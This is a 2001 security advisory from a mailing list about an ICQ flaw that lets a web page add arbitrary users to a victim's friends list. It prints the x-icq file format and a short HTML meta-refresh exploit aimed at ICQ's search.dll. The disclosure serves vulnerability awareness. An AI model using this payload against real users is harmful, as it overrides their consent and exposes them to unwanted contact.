[NEWS] Forcing ICQ to Add Arbitrary Users to the Friends List

From: support@securiteam.com
Date: 08/24/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [NEWS] Forcing ICQ to Add Arbitrary Users to the Friends List
Message-Id: <20010824210428.13584138BF@mail.der-keiler.de>
Date: Fri, 24 Aug 2001 23:04:28 +0200 (CEST)

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  Forcing ICQ to Add Arbitrary Users to the Friends List
------------------------------------------------------------------------

SUMMARY

 <http://www.icq.com> ICQ is the leading find-your-friends tool. A
security vulnerability in the product allows attackers to add users to a
target's friends list, without having permission from the client. After
the attacker has been added to the friends list, they can email or message
the user freely without it being "questioned".

DETAILS

When ICQ is installed, it adds a Content-Type to Microsoft Internet
Explorer - the "application/x-icq" type. When IE receives "Content-Type:
application/x-icq" from a web server and the following content:

[ICQ User]
UIN=<uin>
Email=
NickName=
FirstName=
LastName=

(where <uin> is an ICQ UIN)
IE will automatically download the file and cause ICQ to add the uin to
its contact list.

Exploit:
It's easy to cause the ICQ web server to send back the file format (as
mentioned above) to the target, by exploiting a problem in ICQ web
server's search.dll.

Issuing the following HTML code:

<HTML>
<META HTTP-EQUIV="REFRESH"
CONTENT="0;URL=http://wwp.icq.com/scripts/search.dll?to=>">
</HTML>

Will cause the ICQ server to return a response that will cause ICQ to
automatically add (without user intervention) a user to the friends list.

ADDITIONAL INFORMATION

The information has been provided by <mailto:ares@security-downloads.com>
AreS.

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